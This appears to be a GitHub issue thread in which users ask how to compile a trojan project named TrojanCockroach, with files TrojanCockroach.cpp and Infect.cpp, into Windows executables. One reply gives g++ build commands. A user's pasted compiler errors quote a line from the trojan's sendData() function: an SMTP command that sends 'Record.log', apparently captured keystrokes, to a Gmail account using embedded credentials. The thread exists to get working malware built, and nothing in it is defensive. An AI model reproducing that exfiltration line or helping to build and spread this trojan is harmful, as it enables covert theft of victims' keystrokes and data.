Open gil126 opened 5 years ago
You have to compile the code with a C++ compiler. I'm using the TDM-GCC MinGW compiler which you can download from this link: https://sourceforge.net/projects/tdm-gcc/
Once you download and install the compiler, you need to open the cmd, navigate to the folder containing the .cpp files using the "cd" command, and then execute these commands:
g++ -o NewFileName TrojanCockroach.cpp
g++ -o NewFileName Infect.cpp
Change "NewFileName" to w/e you want to name each exe file.
The exe files will appear in the same folder.
Following te instruction to build the exe file wasn't successful with this error. Any tips on what should be done
'int main()': 72:5: error: return-statement with no value, in function returning 'int' [-fpermissive] 72 | return; | ^~ : In function 'void sendData()': 141:21: warning: ISO C++ forbids converting a string constant to 'char' [-Wwrite-strings] 141 | char command = "Transmit smtp://smtp.gmail.com:587 -v --mail-from \"@gmail.com\" --mail-rcpt \"@gmail.com\" --ssl -u @gmail.com:pass -T \"Record.log\" -k --anyauth"; | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ In function 'char* getRandomName()': 311:12: warning: address of local variable 'randomName' returned [-Wreturn-local-addr] 311 | return randomName; | ^~~~ 272:10: note: declared here 272 | char randomName[40]; | ^~~~ PS C:\Users> g++ -o cast Infect.cpp Infect.cpp: In function 'int main()': Infect.cpp:30:9: error: return-statement with no value, in function returning 'int' [-fpermissive] 30 | return;
how do i set up my “gcc gcctest. c -o gcctest”
how to change rojanCockroach.cpp & Infect.cpp to exe?